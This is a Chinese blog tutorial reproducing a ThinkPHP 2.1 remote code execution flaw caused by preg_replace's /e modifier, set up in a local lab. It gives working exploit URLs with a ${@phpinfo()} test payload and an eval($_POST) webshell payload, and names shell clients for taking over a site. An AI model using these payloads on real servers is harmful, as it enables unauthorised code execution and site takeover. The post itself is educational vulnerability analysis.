Thinkphp代码执行漏洞
ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的,并且遵循Apache2开源协议发布,是一个快速、兼容而且简单的著名轻量级国产PHP开发框架。很好用,其在保持出色的性能和至简的代码的同时,也注重易用性,拥有众多原创功能和特性,用的人很多。但是易用性和安全性,从来都是一对矛盾,往往不能兼容。信息安全界有个笑话:“实现计算机系统安全很容易,把计算机的电源关掉,锁在保险箱里,然后把钥匙扔掉。”正是因为一个软件系统,web网络,用的人越多,越要求其体验的简单亲和,那么就越有可能遭到攻击,感染病毒的几率也大大加大。好用的thinkphp这个框架就曾经爆出各种RCE和SQL注入漏洞。本代码执行漏洞是其中之一。我们复现采用thinkphp 2.1版本。
存在漏洞的文件在/ThinkPHP/Lib/Think/Util/Dispatcher.class.php:

这段代码的意思是检测路由规则 如果没有则按默认规则调度URL,然后解析剩余的URL参数。
漏洞的原因在于使用了preg_replace的/e模式匹配路由:
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
preg_replace这个函数是个替换函数,支持正则,使用方式如下:
preg_replace('正则规则','替换字符','目标字符')
如果此时正则规则中使用了/e这个修饰符,就存在代码执行漏洞。
因为e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行。
来看正则表达式(\w+)\/([^/]+),这个正则的意思是保证具有一个路径符号"\",即每次至少取2个路径参数。而'$var[\'\\1\']="\\2";'是对一个数组做操作,然后第一个参数作为数组的键,第二个参数作为数组的值。参数2采用了双引号,双引号可能会产生之中的代码执行,如${@phpinfo()}。
在PHP当中,${}是可以构造一个变量的,{}写的是一般的字符,那么就会被当成变量,{}写的是一个已知函数名称,那么这个函数就会被执行。
据说ThinkPHP 2.x版本,都存在此漏洞,如vulhub的docker环境搭建。实际上,经我的测试,网上流行的版本thinkphp 2.1可以直接利用,但到2.2版本,就加了补丁,不见了该漏洞,已经将'$var[\'\\1\']="\\2";'改成了'$var[\'\\1\']='\\2';',不再使用双引号。如果为了学习验证而用此版本,需要更改相应的代码。
ThinkPHP在没有定义路由的情况下典型的URL访问规则是:
http://serverName/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/参数值...] 如果不支持PATHINFO的服务器可以使用兼容模式访问如下: http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...]
thinkphp 所有的主入口文件默认访问index控制器(模块)
thinkphp 所有的控制器默认执行index动作(方法)

根据该段代码,数组$var在路径存在模块和动作时,会去除掉前2个值,也就是说,漏洞代码执行处'$var[\'\\1\']="\\2";',需要构造路径两对以上。如构造a/b/c/d,a/b被丢掉,再将payload如${@phpinfo()}放在d处。
作为学习者要注意的是,ThinkPHP是php开放框架,我们下载的文件放在phpstudy下面搭建漏洞网站环境,就要利用ThinkPHP文件的Eaxamples,其中有许多应用案例,我们可以任意使用如Hello,即取serverName=127.0.0.1/ThinkPHP_2.1_full/Examples/Hello,就可以搭建相应环境网站。
所以我们的exp构造如下:
http://127.0.0.1/ThinkPHP_2.1_full/Examples/Hello/index.php?s=a/b/c/payload http://127.0.0.1/ThinkPHP_2.1_full/Examples/Hello/index.php?s=a/b/c/d/e/payload
如我们取payload为${@phpinfo()}:

如payload为${@print(eval($_POST[123]))},执行后就在相应路径页面php文件,写下了eval($_POST[123],以蚁剑、菜刀、冰蝎类工具连接,就可以因此拿下网站的webshell。


posted on 2021-01-06 16:30 miraitowa666 阅读(536) 评论(0) 收藏 举报
浙公网安备 33010602011771号